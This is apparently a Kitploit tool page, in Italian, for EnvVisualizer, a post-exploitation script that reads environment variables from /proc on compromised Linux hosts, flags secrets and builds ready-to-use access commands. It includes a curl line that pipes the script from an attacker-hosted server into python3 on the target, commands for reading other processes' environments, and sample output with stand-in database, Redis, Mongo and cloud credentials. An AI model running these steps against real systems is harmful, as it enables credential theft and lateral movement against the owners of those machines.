EnvVisualizer — Analizza e visualizza /proc/self/environ su macchine Linux compromesse — categorizza le variabili d'ambiente per stack tecnologico (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, ecc…) e genera insight con valutazione di gravità e comandi pronti all'uso | Kitploit

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/

Analizza, categorizza e visualizza /proc/self/environ su macchine Linux compromesse.
Trasforma un muro di testo di variabili d'ambiente fuse in intelligence strutturata e codificata a colori — in pochi secondi.

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Metodo	Comando	Precisione
Lettura diretta del file	`python3 envvisualizer.py -f /proc/self/environ`	✅ Perfetta (split su null-byte)
Pipe stdin	`cat /proc/self/environ \| python3 envvisualizer.py`	✅ Perfetta (split su null-byte)
Stringa incollata	`python3 envvisualizer.py -r 'USER=dev...'`	✅ Buona (euristica a due classi)
Nessun argomento (demo)	`python3 envvisualizer.py`	✅ Perfetta (processo proprio)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Categoria	Variabili Tipiche
🔐 Security / Auth	`SSH_`, `SUDO_`, qualsiasi cosa corrisponda a `TOKEN`, `KEY`, `SECRET`, `PASSWORD`, `CREDENTIAL`, `CERT`
👤 Identity	`USER`, `LOGNAME`, `HOME`, `SHELL`, `UID`, `GID`
🗄 Database	`PG`, `MYSQL_`, `MONGO`, `REDIS_`, `DATABASE_URL`, `DB_`, `ELASTIC`, `CASSANDRA_`, `SQLALCHEMY_`
☁ Cloud / Infrastructure	`AWS_`, `GOOGLE_`, `AZURE_`, `ARM_`, `DOCKER_`, `KUBERNETES_`, `VAULT_`, `TF_`, `CLOUDFLARE_*`
🔄 CI/CD & VCS	`GITHUB_`, `GITLAB_`, `CI_`, `TRAVIS_`, `CIRCLE`, `JENKINS_`, `HEROKU_`, `BUILD_`
🔌 Third-party APIs	`STRIPE_`, `TWILIO_`, `SENDGRID_`, `SENTRY_`, `DD_`, `SLACK_`, `OPENAI_`, `ALGOLIA_`, `AUTH0_*`
🕸 Web Frameworks	`DJANGO_`, `FLASK_`, `RAILS_`, `SPRING_`, , , , , , ,

Gravità	Prefisso	Significato
`💀 CRITICAL`	`[!!!]`	Credenziale attiva, chiave segreta o master key — impatto immediato
`⚠ HIGH`	`[!! ]`	Token, modalità debug o servizio esposto — percorso di attacco actionable
`→ MEDIUM`	`[! ]`	Informazioni interessanti che possono agevolare l'escalation
`▶ INFO`	`[ * ]`	Contesto generale sul processo e sull'ambiente

Stack	Cosa viene rilevato
PostgreSQL	`PGPASSWORD` → costruisce automaticamente `psql postgresql://user:pass@host/db`
MySQL / MariaDB	`MYSQL_ROOT_PASSWORD` / `MYSQL_PASSWORD` → costruisce automaticamente il comando `mysql`
MongoDB	`MONGO_INITDB_ROOT_*` → costruisce automaticamente il comando `mongosh`
Redis	`REDIS_PASSWORD` → costruisce automaticamente il comando `redis-cli -a`
DB URLs	`DATABASE_URL`, `MONGODB_URI`, ecc. → segnala credenziali incorporate
AWS	Coppia di chiavi → segnala come a lungo termine o STS temporanea, suggerisce `aws sts get-caller-identity`
GCP	`GOOGLE_APPLICATION_CREDENTIALS` → suggerisce `gcloud auth activate-service-account`
Azure	`AZURE_CLIENT_SECRET` → segnala tenant ID + suggerisce `az login --service-principal`
HashiCorp Vault	`VAULT_TOKEN` + `VAULT_ADDR` → suggerisce `vault token lookup`
Kubernetes	`KUBERNETES_SERVICE_HOST` iniettato → segnala contesto pod, suggerisce lettura token SA
Docker	`DOCKER_HOST` impostato → segnala esposizione del daemon
GitHub / GitLab	Token → suggerisce comandi curl di validazione API
Heroku	`HEROKU_API_KEY` → segnala con nome dell'app
Stripe	`sk_live_` attiva → CRITICAL; `sk_test_` di test → MEDIUM
Datadog

── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

ASPNETCORE_*

APP_KEY/ENV/DEBUG

SECRET_KEY_BASE

MIX_ENV

NEXT_*

VITE_*

REACT_APP_*

Dipendenza	Versione	Richiesta
Python	≥ 3.8	Sì
rich	≥ 13.0	No (fallback plain-text)

Più Popolari

EnvVisualizer

Il Problema

Funzionalità

Installazione

Opzione 1 — Clona ed esegui (consigliato per ambienti di pentest)

Opzione 2 — Installa come comando di sistema

Opzione 3 — Drop di un singolo file (nessun git richiesto)

Requisiti

Utilizzo

Modalità di input

Esempi

Leggi direttamente da proc (massima precisione)

Passa via stdin

Incolla una stringa grezza (copiata da una web shell / output RCE)

Output plain-text (senza dipendenza rich)

Categorie di Output

Pentest Insights

Rilevamenti per stack tecnologico

Esempio di output (scenario multi-stack)

Come Funziona il Parser di Stringhe

Licenza